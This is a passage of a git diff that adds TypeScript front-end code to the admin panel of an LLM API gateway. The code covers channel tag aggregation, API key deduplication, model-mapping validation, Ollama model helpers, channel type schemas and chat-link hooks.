+    Object.keys(channel.channel_info.multi_key_status_list).length >=
+      channel.channel_info.multi_key_size
+  ) {
+    return 'All keys disabled'
+  }
+  return null
+}
+
+// ============================================================================
+// Tag Aggregation Utilities
+// ============================================================================
+
+/**
+ * Tag row type (extends Channel with children)
+ */
+export type TagRow = Channel & {
+  children: Channel[]
+}
+
+/**
+ * Type guard to check whether a row is a tag aggregate row
+ */
+export function isTagAggregateRow(row: Channel | TagRow): row is TagRow {
+  return Array.isArray((row as TagRow).children)
+}
+
+/**
+ * Aggregate channels by tag for tag mode display
+ * Converts flat array into tree structure grouped by tag
+ */
+export function aggregateChannelsByTag(
+  channels: Channel[]
+): (Channel | TagRow)[] {
+  const tagMap = new Map<string, TagRow>()
+  const result: (Channel | TagRow)[] = []
+
+  for (const channel of channels) {
+    const tag = channel.tag || ''
+
+    if (!tagMap.has(tag)) {
+      // Create tag aggregate row
+      const tagRow = {
+        ...channel,
+        key: tag,
+        id: tag as unknown as number,
+        tag: tag,
+        name: tag,
+        type: 0,
+        status: undefined as unknown as number,
+        group: '',
+        used_quota: 0,
+        response_time: 0,
+        priority: -1 as unknown as number | null,
+        weight: -1 as unknown as number | null,
+        balance: 0,
+        test_time: 0,
+        created_time: 0,
+        balance_updated_time: 0,
+        models: '',
+        children: [],
+      } as TagRow
+      tagMap.set(tag, tagRow)
+      result.push(tagRow)
+    }
+
+    const tagRow = tagMap.get(tag)!
+
+    // Add to children
+    tagRow.children.push(channel)
+    const childCount = tagRow.children.length
+
+    // Aggregate used_quota (sum)
+    tagRow.used_quota += channel.used_quota
+
+    // Aggregate response_time (average)
+    tagRow.response_time =
+      (tagRow.response_time * (childCount - 1) + channel.response_time) /
+      childCount
+
+    // Aggregate priority (same value or null if different)
+    if (tagRow.priority === -1) {
+      tagRow.priority = channel.priority
+    } else if (tagRow.priority !== channel.priority) {
+      tagRow.priority = null
+    }
+
+    // Aggregate weight (same value or null if different)
+    if (tagRow.weight === -1) {
+      tagRow.weight = channel.weight
+    } else if (tagRow.weight !== channel.weight) {
+      tagRow.weight = null
+    }
+
+    // Aggregate group (concatenate and deduplicate)
+    if (tagRow.group === '') {
+      tagRow.group = channel.group
+    } else {
+      const existingGroups = new Set(tagRow.group.split(',').filter(Boolean))
+      const newGroups = channel.group.split(',').filter(Boolean)
+      newGroups.forEach((g) => {
+        if (!existingGroups.has(g)) {
+          tagRow.group += ',' + g
+        }
+      })
+    }
+
+    // Aggregate status (enabled if any child is enabled)
+    if (channel.status === 1) {
+      tagRow.status = 1
+    } else if (tagRow.status === undefined) {
+      tagRow.status = channel.status
+    }
+  }
+
+  return result
+}
+
+// ============================================================================
+// Key Management Utilities
+// ============================================================================
+
+/**
+ * Deduplicate keys from a multiline string
+ * @param keysText - Text with one key per line
+ * @returns Object with deduplicated keys and statistics
+ */
+export function deduplicateKeys(keysText: string): {
+  deduplicatedText: string
+  beforeCount: number
+  afterCount: number
+  removedCount: number
+} {
+  if (!keysText || keysText.trim() === '') {
+    return {
+      deduplicatedText: '',
+      beforeCount: 0,
+      afterCount: 0,
+      removedCount: 0,
+    }
+  }
+
+  // Split by lines
+  const keyLines = keysText.split('\n')
+  const beforeCount = keyLines.length
+
+  // Use Set for deduplication, maintaining order
+  const keySet = new Set<string>()
+  const deduplicatedKeys: string[] = []
+
+  keyLines.forEach((line) => {
+    const trimmedLine = line.trim()
+    if (trimmedLine && !keySet.has(trimmedLine)) {
+      keySet.add(trimmedLine)
+      deduplicatedKeys.push(trimmedLine)
+    }
+  })
+
+  const afterCount = deduplicatedKeys.length
+  const deduplicatedText = deduplicatedKeys.join('\n')
+
+  return {
+    deduplicatedText,
+    beforeCount,
+    afterCount,
+    removedCount: beforeCount - afterCount,
+  }
+}
+
+/**
+ * Get key prompt based on channel type
+ */
+export function getKeyPromptForType(type: number): string {
+  return TYPE_TO_KEY_PROMPT[type] || 'Enter API key for this channel'
+}
diff --git a/new-api/web/default/src/features/channels/lib/index.ts b/new-api/web/default/src/features/channels/lib/index.ts
new file mode 100644
index 0000000..237a58a
--- /dev/null
+++ b/new-api/web/default/src/features/channels/lib/index.ts
@@ -0,0 +1,7 @@
+// Re-export all library functions
+export * from './channel-actions'
+export * from './channel-form'
+export * from './channel-type-config'
+export * from './channel-utils'
+export * from './multi-key-utils'
+export * from './model-mapping-validation'
diff --git a/new-api/web/default/src/features/channels/lib/model-mapping-validation.ts b/new-api/web/default/src/features/channels/lib/model-mapping-validation.ts
new file mode 100644
index 0000000..2409c98
--- /dev/null
+++ b/new-api/web/default/src/features/channels/lib/model-mapping-validation.ts
@@ -0,0 +1,229 @@
+// ============================================================================
+// Model Mapping Validation Utilities
+// ============================================================================
+
+/**
+ * Parse models string to array
+ */
+export function parseModelsString(modelsStr: string): string[] {
+  return modelsStr
+    ? modelsStr
+        .split(',')
+        .map((m) => m.trim())
+        .filter(Boolean)
+    : []
+}
+
+/**
+ * Format models array to string
+ */
+export function formatModelsArray(models: string[]): string {
+  return Array.from(new Set(models)).join(',')
+}
+
+/**
+ * Normalize model name
+ */
+export function normalizeModelName(model: string): string {
+  return typeof model === 'string' ? model.trim() : ''
+}
+
+/**
+ * Extract source keys from model_mapping JSON
+ * (the keys of the mapping object — models being remapped FROM)
+ */
+export function extractMappingSourceModels(modelMapping: string): string[] {
+  if (typeof modelMapping !== 'string') return []
+  const trimmed = modelMapping.trim()
+  if (!trimmed) return []
+
+  try {
+    const parsed = JSON.parse(trimmed)
+    if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+      return []
+    }
+
+    const keys = Object.keys(parsed)
+      .map((key) => key.trim())
+      .filter(Boolean)
+
+    return Array.from(new Set(keys))
+  } catch {
+    return []
+  }
+}
+
+/**
+ * Extract redirect models from model_mapping JSON
+ */
+export function extractRedirectModels(modelMapping: string): string[] {
+  const mapping = modelMapping
+  if (typeof mapping !== 'string') return []
+  const trimmed = mapping.trim()
+  if (!trimmed) return []
+
+  try {
+    const parsed = JSON.parse(trimmed)
+    if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+      return []
+    }
+
+    const values = Object.values(parsed)
+      .map((value) => (typeof value === 'string' ? value.trim() : undefined))
+      .filter((value): value is string => Boolean(value))
+
+    return Array.from(new Set(values))
+  } catch {
+    return []
+  }
+}
+
+/**
+ * Check if model configuration has changed
+ */
+export function hasModelConfigChanged(
+  currentModels: string[],
+  currentModelMapping: string,
+  initialModels: string[],
+  initialModelMapping: string
+): boolean {
+  // Always return true if not editing (new channel)
+  if (initialModels.length === 0 && !initialModelMapping) {
+    return true
+  }
+
+  // Check if models array changed
+  if (currentModels.length !== initialModels.length) {
+    return true
+  }
+  for (let i = 0; i < currentModels.length; i++) {
+    if (currentModels[i] !== initialModels[i]) {
+      return true
+    }
+  }
+
+  // Check if model_mapping changed
+  const normalizedCurrent = (currentModelMapping || '').trim()
+  const normalizedInitial = (initialModelMapping || '').trim()
+
+  return normalizedCurrent !== normalizedInitial
+}
+
+/**
+ * Find models in model_mapping that are missing from the models list
+ */
+export function findMissingModelsInMapping(
+  modelMapping: string,
+  currentModels: string[]
+): string[] {
+  if (!modelMapping || modelMapping.trim() === '') {
+    return []
+  }
+
+  let parsedMapping: Record<string, unknown>
+  try {
+    parsedMapping = JSON.parse(modelMapping)
+    if (
+      !parsedMapping ||
+      typeof parsedMapping !== 'object' ||
+      Array.isArray(parsedMapping)
+    ) {
+      return []
+    }
+  } catch {
+    return []
+  }
+
+  const modelSet = new Set(currentModels.map((m) => normalizeModelName(m)))
+  const missingModels = Object.keys(parsedMapping)
+    .map((key) => normalizeModelName(key))
+    .filter((key) => key && !modelSet.has(key))
+
+  return Array.from(new Set(missingModels))
+}
+
+/**
+ * Validate model mapping JSON format
+ */
+export function validateModelMappingJson(modelMapping: string): {
+  valid: boolean
+  error?: string
+} {
+  if (!modelMapping || modelMapping.trim() === '') {
+    return { valid: true }
+  }
+
+  try {
+    const parsed = JSON.parse(modelMapping)
+    if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) {
+      return {
+        valid: false,
+        error: 'Model mapping must be a valid JSON object',
+      }
+    }
+    return { valid: true }
+  } catch {
+    return {
+      valid: false,
+      error: 'Model mapping must be valid JSON format',
+    }
+  }
+}
+
+/**
+ * Get redirect models that are also in the models list
+ * (These should be removed from models list to keep /v1/models clean)
+ */
+export function findExposedTargetModels(
+  modelMapping: string,
+  currentModels: string[]
+): string[] {
+  const redirectModels = extractRedirectModels(modelMapping)
+  if (redirectModels.length === 0) return []
+
+  const normalizedModels = currentModels.map((m) => normalizeModelName(m))
+  const modelSet = new Set(normalizedModels)
+
+  return redirectModels.filter((model) =>
+    modelSet.has(normalizeModelName(model))
+  )
+}
+
+/**
+ * Categorize models into different sets for UI display
+ */
+export function categorizeModelsWithRedirect(
+  currentModels: string[],
+  redirectModels: string[]
+): {
+  normalizedCurrentModels: Set<string>
+  normalizedRedirectModels: Set<string>
+  classificationSet: Set<string>
+  redirectOnlySet: Set<string>
+} {
+  const normalizedCurrentModels = new Set(
+    currentModels.map((m) => normalizeModelName(m)).filter(Boolean)
+  )
+
+  const normalizedRedirectModels = new Set(
+    redirectModels.map((m) => normalizeModelName(m)).filter(Boolean)
+  )
+
+  const classificationSet = new Set([
+    ...normalizedCurrentModels,
+    ...normalizedRedirectModels,
+  ])
+
+  const redirectOnlySet = new Set(
+    Array.from(normalizedRedirectModels).filter(
+      (m) => !normalizedCurrentModels.has(m)
+    )
+  )
+
+  return {
+    normalizedCurrentModels,
+    normalizedRedirectModels,
+    classificationSet,
+    redirectOnlySet,
+  }
+}
diff --git a/new-api/web/default/src/features/channels/lib/multi-key-utils.ts b/new-api/web/default/src/features/channels/lib/multi-key-utils.ts
new file mode 100644
index 0000000..d0bb3ee
--- /dev/null
+++ b/new-api/web/default/src/features/channels/lib/multi-key-utils.ts
@@ -0,0 +1,57 @@
+import {
+  MULTI_KEY_STATUS_CONFIG,
+  MULTI_KEY_CONFIRM_MESSAGES,
+} from '../constants'
+import type { MultiKeyConfirmAction } from '../types'
+
+/**
+ * Get status badge configuration for multi-key status
+ */
+export function getMultiKeyStatusConfig(status: number) {
+  return (
+    MULTI_KEY_STATUS_CONFIG[status as keyof typeof MULTI_KEY_STATUS_CONFIG] || {
+      variant: 'neutral' as const,
+      label: 'Unknown',
+    }
+  )
+}
+
+/**
+ * Get confirmation message for multi-key action
+ */
+export function getMultiKeyConfirmMessage(
+  action: MultiKeyConfirmAction | null
+): string {
+  if (!action) return ''
+
+  switch (action.type) {
+    case 'delete':
+      return MULTI_KEY_CONFIRM_MESSAGES.DELETE
+    case 'enable':
+      return MULTI_KEY_CONFIRM_MESSAGES.ENABLE
+    case 'disable':
+      return MULTI_KEY_CONFIRM_MESSAGES.DISABLE
+    case 'enable-all':
+      return MULTI_KEY_CONFIRM_MESSAGES.ENABLE_ALL
+    case 'disable-all':
+      return MULTI_KEY_CONFIRM_MESSAGES.DISABLE_ALL
+    case 'delete-disabled':
+      return MULTI_KEY_CONFIRM_MESSAGES.DELETE_DISABLED
+    default:
+      return ''
+  }
+}
+
+/**
+ * Check if action is destructive
+ */
+export function isDestructiveAction(
+  action: MultiKeyConfirmAction | null
+): boolean {
+  if (!action) return false
+  return (
+    action.type === 'delete' ||
+    action.type === 'delete-disabled' ||
+    action.type === 'disable-all'
+  )
+}
diff --git a/new-api/web/default/src/features/channels/lib/ollama-utils.ts b/new-api/web/default/src/features/channels/lib/ollama-utils.ts
new file mode 100644
index 0000000..7d75b93
--- /dev/null
+++ b/new-api/web/default/src/features/channels/lib/ollama-utils.ts
@@ -0,0 +1,143 @@
+import type { Channel } from '../types'
+
+export type PullProgress = {
+  status?: string
+  completed?: number
+  total?: number
+  // backend may include extra fields
+  [k: string]: unknown
+}
+
+export type OllamaModel = {
+  id: string
+  owned_by?: string
+  size?: number
+  digest?: string
+  modified_at?: string
+  details?: unknown
+}
+
+function isRecord(value: unknown): value is Record<string, unknown> {
+  return typeof value === 'object' && value !== null
+}
+
+function getString(value: unknown): string | undefined {
+  return typeof value === 'string' ? value : undefined
+}
+
+function getNumber(value: unknown): number | undefined {
+  return typeof value === 'number' ? value : undefined
+}
+
+function parseMaybeJSON(value: unknown) {
+  if (!value) return null
+  if (typeof value === 'object') return value
+  if (typeof value === 'string') {
+    try {
+      return JSON.parse(value)
+    } catch {
+      return null
+    }
+  }
+  return null
+}
+
+/**
+ * Resolve Ollama base URL from channel fields (supports legacy/alternate fields).
+ */
+export function resolveOllamaBaseUrl(channel: Channel | null) {
+  if (!channel) return ''
+
+  const direct =
+    typeof channel.base_url === 'string' ? channel.base_url.trim() : ''
+  if (direct) return direct
+
+  const alt =
+    typeof (channel as unknown as { ollama_base_url?: unknown })
+      ?.ollama_base_url === 'string'
+      ? String(
+          (channel as unknown as { ollama_base_url?: string }).ollama_base_url
+        ).trim()
+      : ''
+  if (alt) return alt
+
+  const parsed = parseMaybeJSON(channel.other_info)
+  if (isRecord(parsed)) {
+    const baseUrl = getString(parsed.base_url)?.trim()
+    if (baseUrl) return baseUrl
+    const publicUrl = getString(parsed.public_url)?.trim()
+    if (publicUrl) return publicUrl
+    const apiUrl = getString(parsed.api_url)?.trim()
+    if (apiUrl) return apiUrl
+  }
+
+  return ''
+}
+
+export function normalizeOllamaModels(items: unknown): OllamaModel[] {
+  if (!Array.isArray(items)) return []
+
+  return items
+    .map((item) => {
+      if (!item) return null
+
+      if (typeof item === 'string') {
+        return { id: item, owned_by: 'ollama' } satisfies OllamaModel
+      }
+
+      if (isRecord(item)) {
+        const candidateId =
+          getString(item.id) ||
+          getString(item.ID) ||
+          getString(item.name) ||
+          getString(item.model) ||
+          getString(item.Model)
+        if (!candidateId) return null
+
+        const metadata = item.metadata ?? item.Metadata
+        const normalized: OllamaModel = {
+          ...item,
+          id: candidateId,
+          owned_by:
+            getString(item.owned_by) || getString(item.ownedBy) || 'ollama',
+        }
+
+        const itemSize = getNumber(item.size)
+        if (typeof itemSize === 'number' && !normalized.size) {
+          normalized.size = itemSize
+        }
+        if (isRecord(metadata)) {
+          const metaSize = getNumber(metadata.size)
+          if (typeof metaSize === 'number' && !normalized.size) {
+            normalized.size = metaSize
+          }
+          const metaDigest = getString(metadata.digest)
+          if (!normalized.digest && metaDigest) {
+            normalized.digest = metaDigest
+          }
+          const metaModifiedAt = getString(metadata.modified_at)
+          if (!normalized.modified_at && metaModifiedAt) {
+            normalized.modified_at = metaModifiedAt
+          }
+          if (metadata.details && !normalized.details) {
+            normalized.details = metadata.details
+          }
+        }
+        return normalized
+      }
+
+      return null
+    })
+    .filter(Boolean) as OllamaModel[]
+}
+
+export function formatBytes(bytes?: number) {
+  if (typeof bytes !== 'number' || Number.isNaN(bytes)) return '-'
+  if (bytes < 1024) return `${bytes} B`
+  const kb = bytes / 1024
+  if (kb < 1024) return `${kb.toFixed(1)} KB`
+  const mb = kb / 1024
+  if (mb < 1024) return `${mb.toFixed(1)} MB`
+  const gb = mb / 1024
+  return `${gb.toFixed(2)} GB`
+}
diff --git a/new-api/web/default/src/features/channels/lib/status-code-risk-guard.ts b/new-api/web/default/src/features/channels/lib/status-code-risk-guard.ts
new file mode 100644
index 0000000..c34ab54
--- /dev/null
+++ b/new-api/web/default/src/features/channels/lib/status-code-risk-guard.ts
@@ -0,0 +1,85 @@
+const NON_REDIRECTABLE_STATUS_CODES = new Set([504, 524])
+
+function parseStatusCodeKey(rawKey: string): number | null {
+  const normalized = rawKey.trim()
+  if (!/^[1-5]\d{2}$/.test(normalized)) return null
+  return Number.parseInt(normalized, 10)
+}
+
+function parseStatusCodeMappingTarget(rawValue: unknown): number | null {
+  if (typeof rawValue === 'number' && Number.isInteger(rawValue)) {
+    return rawValue >= 100 && rawValue <= 599 ? rawValue : null
+  }
+  if (typeof rawValue === 'string') {
+    const normalized = rawValue.trim()
+    if (!/^[1-5]\d{2}$/.test(normalized)) return null
+    const code = Number.parseInt(normalized, 10)
+    return code >= 100 && code <= 599 ? code : null
+  }
+  return null
+}
+
+export function collectInvalidStatusCodeEntries(
+  statusCodeMappingStr: string
+): string[] {
+  if (!statusCodeMappingStr?.trim()) return []
+
+  let parsed: Record<string, unknown>
+  try {
+    parsed = JSON.parse(statusCodeMappingStr)
+  } catch {
+    return []
+  }
+
+  if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) return []
+
+  const invalid: string[] = []
+  for (const [rawKey, rawValue] of Object.entries(parsed)) {
+    const fromCode = parseStatusCodeKey(rawKey)
+    const toCode = parseStatusCodeMappingTarget(rawValue)
+    if (fromCode === null || toCode === null) {
+      invalid.push(`${rawKey} → ${rawValue}`)
+    }
+  }
+  return invalid
+}
+
+export function collectDisallowedStatusCodeRedirects(
+  statusCodeMappingStr: string
+): string[] {
+  if (!statusCodeMappingStr?.trim()) return []
+
+  let parsed: Record<string, unknown>
+  try {
+    parsed = JSON.parse(statusCodeMappingStr)
+  } catch {
+    return []
+  }
+
+  if (!parsed || typeof parsed !== 'object' || Array.isArray(parsed)) return []
+
+  const riskyMappings: string[] = []
+  for (const [rawFrom, rawTo] of Object.entries(parsed)) {
+    const fromCode = parseStatusCodeKey(rawFrom)
+    const toCode = parseStatusCodeMappingTarget(rawTo)
+    if (fromCode === null || toCode === null) continue
+    if (!NON_REDIRECTABLE_STATUS_CODES.has(fromCode)) continue
+    if (fromCode === toCode) continue
+    riskyMappings.push(`${fromCode} -> ${toCode}`)
+  }
+
+  return [...new Set(riskyMappings)].sort()
+}
+
+export function collectNewDisallowedStatusCodeRedirects(
+  originalStr: string,
+  currentStr: string
+): string[] {
+  const currentRisky = collectDisallowedStatusCodeRedirects(currentStr)
+  if (currentRisky.length === 0) return []
+
+  const originalRiskySet = new Set(
+    collectDisallowedStatusCodeRedirects(originalStr)
+  )
+  return currentRisky.filter((mapping) => !originalRiskySet.has(mapping))
+}
diff --git a/new-api/web/default/src/features/channels/lib/upstream-update-utils.ts b/new-api/web/default/src/features/channels/lib/upstream-update-utils.ts
new file mode 100644
index 0000000..93d56ca
--- /dev/null
+++ b/new-api/web/default/src/features/channels/lib/upstream-update-utils.ts
@@ -0,0 +1,38 @@
+export function normalizeModelList(models: unknown[] = []): string[] {
+  return Array.from(
+    new Set(
+      (models || []).map((model) => String(model || '').trim()).filter(Boolean)
+    )
+  )
+}
+
+export function parseUpstreamUpdateMeta(settings: unknown): {
+  enabled: boolean
+  pendingAddModels: string[]
+  pendingRemoveModels: string[]
+} {
+  let parsed: Record<string, unknown> | null = null
+  if (settings && typeof settings === 'object' && !Array.isArray(settings)) {
+    parsed = settings as Record<string, unknown>
+  } else if (typeof settings === 'string') {
+    try {
+      parsed = JSON.parse(settings)
+    } catch {
+      parsed = null
+    }
+  }
+
+  if (!parsed || typeof parsed !== 'object') {
+    return { enabled: false, pendingAddModels: [], pendingRemoveModels: [] }
+  }
+
+  return {
+    enabled: parsed.upstream_model_update_check_enabled === true,
+    pendingAddModels: normalizeModelList(
+      (parsed.upstream_model_update_last_detected_models as unknown[]) || []
+    ),
+    pendingRemoveModels: normalizeModelList(
+      (parsed.upstream_model_update_last_removed_models as unknown[]) || []
+    ),
+  }
+}
diff --git a/new-api/web/default/src/features/channels/types.ts b/new-api/web/default/src/features/channels/types.ts
new file mode 100644
index 0000000..56a853c
--- /dev/null
+++ b/new-api/web/default/src/features/channels/types.ts
@@ -0,0 +1,295 @@
+import { z } from 'zod'
+
+// ============================================================================
+// Channel Schema & Types
+// ============================================================================
+
+export const channelInfoSchema = z.object({
+  is_multi_key: z.boolean().default(false),
+  multi_key_size: z.number().default(0),
+  multi_key_status_list: z.record(z.string(), z.number()).optional(),
+  multi_key_disabled_reason: z.record(z.string(), z.string()).optional(),
+  multi_key_disabled_time: z.record(z.string(), z.number()).optional(),
+  multi_key_polling_index: z.number().default(0),
+  multi_key_mode: z.enum(['random', 'polling']).default('random'),
+})
+
+export type ChannelInfo = z.infer<typeof channelInfoSchema>
+
+export const channelSchema = z.object({
+  id: z.number(),
+  type: z.number(),
+  key: z.string(),
+  openai_organization: z.string().nullish(),
+  test_model: z.string().nullish(),
+  status: z.number(), // 1: enabled, 0: manual disabled, 2: auto disabled
+  name: z.string(),
+  weight: z.number().nullish(),
+  created_time: z.number(),
+  test_time: z.number(),
+  response_time: z.number(), // in milliseconds
+  base_url: z.string().nullish(),
+  other: z.string().default(''),
+  balance: z.number().default(0), // in USD
+  balance_updated_time: z.number(),
+  models: z.string().default(''),
+  group: z.string().default('default'),
+  used_quota: z.number().default(0),
+  model_mapping: z.string().nullish(),
+  status_code_mapping: z.string().nullish(),
+  priority: z.number().nullish(),
+  auto_ban: z.number().nullish(),
+  other_info: z.string().default(''),
+  tag: z.string().nullish(),
+  setting: z.string().nullish(),
+  param_override: z.string().nullish(),
+  header_override: z.string().nullish(),
+  remark: z.string().default(''),
+  max_input_tokens: z.number().default(0),
+  channel_info: channelInfoSchema.default({
+    is_multi_key: false,
+    multi_key_size: 0,
+    multi_key_polling_index: 0,
+    multi_key_mode: 'random',
+  }),
+  settings: z.string().default('{}'), // other_settings JSON
+})
+
+export type Channel = z.infer<typeof channelSchema>
+
+// ============================================================================
+// Channel Settings Types
+// ============================================================================
+
+export interface ChannelSettings {
+  force_format?: boolean
+  thinking_to_content?: boolean
+  proxy?: string
+  pass_through_body_enabled?: boolean
+  system_prompt?: string
+  system_prompt_override?: boolean
+}
+
+export interface ChannelOtherSettings {
+  azure_responses_version?: string
+  vertex_key_type?: 'json' | 'api_key'
+  openrouter_enterprise?: boolean
+  aws_key_type?: 'ak_sk' | 'api_key'
+  allow_service_tier?: boolean
+  disable_store?: boolean
+  allow_safety_identifier?: boolean
+}
+
+// ============================================================================
+// API Response Types
+// ============================================================================
+
+export interface GetChannelsResponse {
+  success: boolean
+  message?: string
+  data?: {
+    items: Channel[]
+    total: number
+    page: number
+    page_size: number
+    type_counts?: Record<string, number>
+  }
+}
+
+export interface SearchChannelsResponse {
+  success: boolean
+  message?: string
+  data?: {
+    items: Channel[]
+    total: number
+    type_counts?: Record<string, number>
+  }
+}
+
+export interface GetChannelResponse {
+  success: boolean
+  message?: string
+  data?: Channel
+}
+
+export interface ChannelTestResponse {
+  success: boolean
+  message?: string
+  error_code?: string
+  data?: {
+    response_time?: number
+    error?: string
+  }
+}
+
+export interface ChannelBalanceResponse {
+  success: boolean
+  message?: string
+  balance?: number
+  currency?: string
+}
+
+export interface FetchModelsResponse {
+  success: boolean
+  message?: string
+  data?: string[]
+}
+
+export interface CopyChannelResponse {
+  success: boolean
+  message?: string
+  data?: {
+    id: number
+  }
+}
+
+// ============================================================================
+// Multi-Key Management Types
+// ============================================================================
+
+export interface KeyStatus {
+  index: number
+  status: number // 1: enabled, 2: manual disabled, 3: auto disabled
+  disabled_time?: number
+  reason?: string
+  key_preview?: string
+}
+
+export type MultiKeyConfirmAction = {
+  type:
+    | 'enable'
+    | 'disable'
+    | 'delete'
+    | 'enable-all'
+    | 'disable-all'
+    | 'delete-disabled'
+  keyIndex?: number
+}
+
+export interface MultiKeyStatusResponse {
+  success: boolean
+  message?: string
+  data?: {
+    keys: KeyStatus[]
+    total: number
+    page: number
+    page_size: number
+    total_pages: number
+    enabled_count: number
+    manual_disabled_count: number
+    auto_disabled_count: number
+  }
+}
+
+// ============================================================================
+// API Request Parameters
+// ============================================================================
+
+export interface GetChannelsParams {
+  p?: number
+  page_size?: number
+  status?: string // 'enabled', 'disabled', or empty for all
+  type?: number
+  group?: string
+  id_sort?: boolean
+  tag_mode?: boolean
+}
+
+export interface SearchChannelsParams {
+  keyword?: string
+  group?: string
+  model?: string
+  status?: string
+  type?: number
+  id_sort?: boolean
+  tag_mode?: boolean
+  p?: number
+  page_size?: number
+}
+
+export interface ChannelTestParams {
+  test_model?: string
+}
+
+export interface CopyChannelParams {
+  suffix?: string
+  reset_balance?: boolean
+}
+
+export interface MultiKeyManageParams {
+  channel_id: number
+  action:
+    | 'get_key_status'
+    | 'disable_key'
+    | 'enable_key'
+    | 'enable_all_keys'
+    | 'disable_all_keys'
+    | 'delete_key'
+    | 'delete_disabled_keys'
+  key_index?: number
+  page?: number
+  page_size?: number
+  status?: number // 1=enabled, 2=manual_disabled, 3=auto_disabled
+}
+
+export interface BatchDeleteParams {
+  ids: number[]
+}
+
+export interface BatchSetTagParams {
+  ids: number[]
+  tag: string | null
+}
+
+export interface TagOperationParams {
+  tag: string
+  new_tag?: string
+  priority?: number
+  weight?: number
+  model_mapping?: string
+  models?: string
+  groups?: string
+}
+
+// ============================================================================
+// Form Data Types
+// ============================================================================
+
+export interface ChannelFormData {
+  name: string
+  type: number
+  base_url: string
+  key: string
+  openai_organization?: string
+  models: string
+  group: string
+  model_mapping?: string
+  priority?: number
+  weight?: number
+  test_model?: string
+  auto_ban?: number
+  status: number
+  status_code_mapping?: string
+  tag?: string
+  remark?: string
+  setting?: string
+  param_override?: string
+  header_override?: string
+  settings?: string
+  other?: string
+  // Multi-key specific
+  multi_key_mode?: 'single' | 'batch' | 'multi_to_single'
+  multi_key_type?: 'random' | 'polling'
+  batch_add_set_key_prefix_2_name?: boolean
+}
+
+// ============================================================================
+// Add Channel Request (special structure)
+// ============================================================================
+
+export interface AddChannelRequest {
+  mode: 'single' | 'batch' | 'multi_to_single'
+  multi_key_mode?: 'random' | 'polling'
+  batch_add_set_key_prefix_2_name?: boolean
+  channel: Partial<Channel>
+}
diff --git a/new-api/web/default/src/features/chat/hooks/use-active-chat-key.ts b/new-api/web/default/src/features/chat/hooks/use-active-chat-key.ts
new file mode 100644
index 0000000..838d56e
--- /dev/null
+++ b/new-api/web/default/src/features/chat/hooks/use-active-chat-key.ts
@@ -0,0 +1,31 @@
+import { useQuery } from '@tanstack/react-query'
+import { getApiKeys } from '@/features/keys/api'
+import { API_KEY_STATUS } from '@/features/keys/constants'
+
+/**
+ * Get the currently active API key for chat links
+ */
+export function useActiveChatKey(enabled: boolean) {
+  return useQuery({
+    queryKey: ['chat-active-key'],
+    queryFn: async () => {
+      const result = await getApiKeys({ p: 1, size: 50 })
+      if (!result.success) {
+        throw new Error(result.message || 'Failed to load API keys')
+      }
+      const items = result.data?.items ?? []
+      const active = items.find(
+        (item) => item.status === API_KEY_STATUS.ENABLED
+      )
+      if (!active) {
+        throw new Error(
+          'No enabled API keys found. Create or enable one first.'
+        )
+      }
+      return active.key
+    },
+    enabled,
+    staleTime: 5 * 60 * 1000,
+    gcTime: 10 * 60 * 1000,
+  })
+}
diff --git a/new-api/web/default/src/features/chat/hooks/use-chat-presets.ts b/new-api/web/default/src/features/chat/hooks/use-chat-presets.ts
new file mode 100644
index 0000000..16ae26a
--- /dev/null
+++ b/new-api/web/default/src/features/chat/hooks/use-chat-presets.ts
@@ -0,0 +1,64 @@
+import { useMemo } from 'react'
+import { useStatus } from '@/hooks/use-status'
+import type { SystemStatus } from '@/features/auth/types'
+import {
+  type ChatPreset,
+  parseChatConfig,
+  type RawChatConfig,
+} from '../lib/chat-links'
+
+function getStoredStatusChats(): RawChatConfig {
+  if (typeof window === 'undefined') return undefined
+  try {
+    const raw = window.localStorage.getItem('status')
+    if (!raw) return undefined
+    const parsed = JSON.parse(raw)
+    return parsed?.chats ?? parsed?.Chats
+  } catch {
+    return undefined
+  }
+}
+
+function extractServerAddress(status: SystemStatus | null) {
+  const fromStatus =
+    (status?.server_address as string | undefined) ??
+    (status?.serverAddress as string | undefined) ??
+    status?.data?.server_address ??
+    (status?.data as Record<string, unknown> | undefined)?.serverAddress
+
+  if (fromStatus && typeof fromStatus === 'string') {
+    return fromStatus
+  }
+
+  if (typeof window !== 'undefined') {
+    return window.location.origin
+  }
+
+  return ''
+}
+
+function extractChats(status: SystemStatus | null): RawChatConfig {
+  const raw =
+    status?.Chats ?? status?.chats ?? status?.data?.Chats ?? status?.data?.chats
+
+  return (raw as RawChatConfig) ?? getStoredStatusChats()
+}
+
+export function useChatPresets(): {
+  chatPresets: ChatPreset[]
+  serverAddress: string
+} {
+  const { status } = useStatus()
+
+  const serverAddress = useMemo(() => extractServerAddress(status), [status])
+
+  const chatPresets = useMemo(() => {
+    const raw = extractChats(status)
+    return parseChatConfig(raw)
+  }, [status])
+
+  return {
+    chatPresets,
+    serverAddress,
+  }
+}
diff --git a/new-api/web/default/src/features/chat/lib/chat-links.ts b/new-api/web/default/src/features/chat/lib/chat-links.ts
new file mode 100644
index 0000000..ef89795
--- /dev/null
+++ b/new-api/web/default/src/features/chat/lib/chat-links.ts
@@ -0,0 +1,166 @@
+import { API_KEY_STATUS } from '@/features/keys/constants'
+
+export type ChatLinkType = 'web' | 'custom-protocol' | 'fluent'
+
+export type ChatPreset = {
+  id: string
+  name: string
+  url: string
+  type: ChatLinkType
+}
+
+export type RawChatConfig =
+  | string
+  | Record<string, unknown>
+  | Array<Record<string, unknown>>
+  | null
+  | undefined
+
+export type ResolveChatUrlParams = {
+  template: string
+  apiKey?: string
+  serverAddress: string
+}
+
+export type ActiveApiKey = {
+  key: string
+  status: number
+}
+
+const HTTP_REGEX = /^https?:\/\//i
+
+function toBase64(value: string) {
+  if (typeof window !== 'undefined' && typeof window.btoa === 'function') {
+    return window.btoa(value)
+  }
+
+  type BufferConstructorLike = {
+    from(data: string, encoding: string): { toString(encoding: string): string }
+  }
+
+  const globalObj =
+    typeof globalThis !== 'undefined'
+      ? (globalThis as Record<string, unknown>)
+      : undefined
+  const bufferCtor = globalObj?.Buffer
+
+  if (
+    typeof bufferCtor === 'function' &&
+    typeof (bufferCtor as unknown as BufferConstructorLike).from === 'function'
+  ) {
+    return (bufferCtor as unknown as BufferConstructorLike)
+      .from(value, 'utf-8')
+      .toString('base64')
+  }
+
+  return ''
+}
+
